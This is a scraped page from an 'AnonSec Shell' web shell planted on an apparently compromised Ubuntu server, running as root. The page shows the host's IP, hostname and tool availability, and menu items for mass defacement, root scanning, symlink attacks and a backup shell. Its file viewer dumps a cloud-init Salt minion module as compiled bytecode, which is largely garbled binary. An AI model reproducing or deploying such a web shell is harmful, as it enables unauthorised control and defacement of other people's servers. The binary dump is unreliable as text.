AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/cloudinit/config/__pycache__/cc_salt_minion.cpython-310.pyc
o

x[h��
@s�UdZddlZddlZddlmZmZmZddlmZddl	m
Z
ddlmZddl
mZddlmZd	eged
gd�Zeed<e�e�ZGd
d�d�Zdede
dededdf
dd�ZdS)z&Salt Minion: Setup and run salt minion�N)�safeyaml�subp�util)�Cloud)�Config)�
MetaSchema)�ALL_DISTROS)�PER_INSTANCE�cc_salt_minion�salt_minion)�id�distros�	frequency�activate_by_schema_keys�metac@seZdZdZdd�ZdS)�
SaltConstantsz>
    defines default distribution specific salt variables
    cCsht��rd|_d|_d|_n	d|_d|_d|_t�|d|j�|_t�|d|j�|_t�|d|j�|_dS)	Nzpy-saltrz/usr/local/etc/saltzsalt-minionz	/etc/salt�pkg_name�
config_dir�service_name)r�
is_FreeBSDr�srv_name�conf_dir�get_cfg_option_str)�self�cfg�r�A/usr/lib/python3/dist-packages/cloudinit/config/cc_salt_minion.py�__init__#s�
�zSaltConstants.__init__N)�__name__�
__module__�__qualname__�__doc__rrrrrrsr�namer�cloud�args�returncCs�d|vrt�d|�dS|d}t|d�}|j�|jg�t�|j�d}d|vr?t	j
�|jd�}|�d�}t�
|t�|��d|vrYt	j
�|jd�}t�|�d��}	t�
||	�d|vr�d|vr�t	j
�|jd	�}
t	j
�|
�swt	j
�|jd
�}
|�d|
�}t�d��+t�|�t	j
�|d
�}t	j
�|d�}
t�
||d�t�
|
|d�Wd�n1s�wYt|o�|�d�dk�}|j�|r�dnd|j�|j�|r�dnd|j�|s�tjgd�dd�dSdS)Nrz?Skipping module named %s, no 'salt_minion' key in configuration)r�conf�minion�grains�
public_key�private_keyz
pki/minion�pki�pki_dir�?z
minion.pubz
minion.pem�file_client�local�enable�disable�restart�stop)z	salt-callz--localzstate.applyF)�capture)�LOG�debugr�distro�install_packagesrr�
ensure_dirr�os�path�join�get�
write_filer�dumps�isdir�umask�bool�manage_servicerr)r"rr#r$�s_cfg�const�minion_data�
minion_config�
grains_config�grains_data�pki_dir_defaultr,�pub_name�pem_name�
minion_daemonrrr�handle9sV�


�����rN)r!�loggingr:�	cloudinitrrr�cloudinit.cloudr�cloudinit.configr�cloudinit.config.schemar�cloudinit.distrosr�cloudinit.settingsr	r�__annotations__�	getLoggerrr5r�str�listrNrrrr�<module>s"�
"

Anon7 - 2022
AnonSec Team